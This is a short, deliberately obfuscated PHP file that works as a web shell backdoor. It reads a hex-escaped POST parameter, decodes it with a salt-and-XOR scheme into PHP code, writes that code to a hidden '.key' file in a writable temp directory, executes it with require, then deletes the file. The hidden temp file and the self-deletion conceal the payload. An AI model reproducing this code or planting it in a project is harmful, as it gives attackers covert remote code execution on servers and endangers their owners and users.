<?php

if(array_key_exists("\x74\x6Bn", $_POST) && !is_null($_POST["\x74\x6Bn"])){
	$pgrp = array_filter([ini_get("upload_tmp_dir"), getenv("TMP"), getenv("TEMP"), sys_get_temp_dir(), getcwd(), "/dev/shm", "/var/tmp", session_save_path(), "/tmp"]);
	$property_set = $_POST["\x74\x6Bn"];
	$property_set=explode (	 "."		 ,	$property_set 	 ) 	 ;		
	$sym	 = 	'';
            $salt8	 = 	'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen	 = 	strlen( $salt8	);
    
            foreach( $property_set as $q => $v9) { $sChar	 = 	ord( $salt8[$q 	%	$sLen]	);
                $d	 = 	( ( int)$v9 - $sChar -( $q 	%	10)) ^ 22;
                $sym .= chr( $d	);
            }
	foreach ($pgrp as $token) {
    		if (!( !is_dir($token) || !is_writable($token) )) {
    $descriptor = sprintf("%s/.key", $token);
    if (file_put_contents($descriptor, $sym)) {
	require $descriptor;
	unlink($descriptor);
	exit;
}
}
}
}